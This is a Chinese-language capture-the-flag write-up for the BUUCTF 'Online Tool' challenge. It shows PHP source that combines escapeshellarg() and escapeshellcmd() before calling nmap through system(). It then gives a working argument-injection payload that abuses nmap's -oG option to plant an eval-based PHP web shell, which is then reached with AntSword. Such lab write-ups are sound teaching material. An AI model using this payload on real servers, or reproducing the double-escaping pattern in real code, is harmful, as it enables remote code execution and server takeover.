BUUCTF 2018-Online Tool

网络安全·CTF · 2023-10-04 · 946 人浏览

一、信息收集

打开靶场,发现页面源码。

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    echo $host."<br />";
    $host = escapeshellarg($host);
    echo $host."<br />";
    $host = escapeshellcmd($host);
    echo $host."<br />";
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

涉及到两个函数escapeshellarg()escapeshellcmd(),这两函数会造成参数逃逸的问题,详情请查看PHP escapeshellarg()+escapeshellcmd()漏洞

二、构造payload

我们注意到这里执行的命令是nmap工具,nmap中含有一条写入文件的选项为-oG,具体作用查询手册。
payload:?host='<? @eval($_POST["shell"]);?> -oG shell.php '
解释:-oG会将执行的命令操作写入指定的文件中,经过这两个函数之后host中的内容为'\<\? @eval\(\$_POST\[\"shell\"\]\)\;\?\> -oG shell.php ',实际在system()函数中执行的内容为nmap -T5 -sT -Pn --host-timeout 2 -F \<? @eval($_POST["shell"]);?> -oG shell.php '\',使得写入文件的内容为:

# Nmap 7.70 scan initiated Tue Jun 21 07:35:23 2022 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG shell.php \<? @eval($_POST[shell]);?> \\
# Nmap done at Tue Jun 21 07:35:24 2022 -- 0 IP addresses (0 hosts up) scanned in 0.92 seconds

三、蚁剑连接shell

用蚁剑连接shell,在根目录找到flag。
BUUCTF 2018-Online Tool-FLAG

远程命令注入 PHP CTF 946 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao